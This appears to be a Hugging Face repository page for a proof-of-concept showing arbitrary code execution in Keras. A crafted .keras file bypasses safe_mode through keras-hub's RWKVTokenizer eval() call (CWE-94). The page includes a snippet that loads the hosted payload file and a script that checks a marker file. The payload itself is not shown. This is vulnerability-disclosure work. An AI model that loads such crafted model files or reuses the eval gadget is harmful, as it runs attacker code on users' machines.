Instructions to use Rammadaeus/poc-keras-rwkv-eval-gadget with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use Rammadaeus/poc-keras-rwkv-eval-gadget with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://Rammadaeus/poc-keras-rwkv-eval-gadget") - Notebooks
- Google Colab
- Kaggle
YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
PoC: Keras RWKV Tokenizer eval() Gadget โ safe_mode Bypass
Format: Keras (.keras) Target: keras + keras-hub CWE: CWE-94 (Code Injection)
Vulnerability
A crafted .keras file achieves arbitrary code execution when loaded with keras.saving.load_model() even with safe_mode=True. The RWKVTokenizer class from keras-hub (an allowlisted package) calls eval() on attacker-controlled vocabulary data.
Reproduction
pip install keras keras-hub
python3 -c "
import keras, os
marker = '/tmp/rwkv_ace_proof.txt'
if os.path.exists(marker): os.remove(marker)
try: keras.saving.load_model('poc_rwkv_ace.keras', safe_mode=True)
except: pass
print('ACE:', os.path.exists(marker))
"
Tested: Keras 3.13.2, keras-hub 0.26.0
- Downloads last month
- -
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support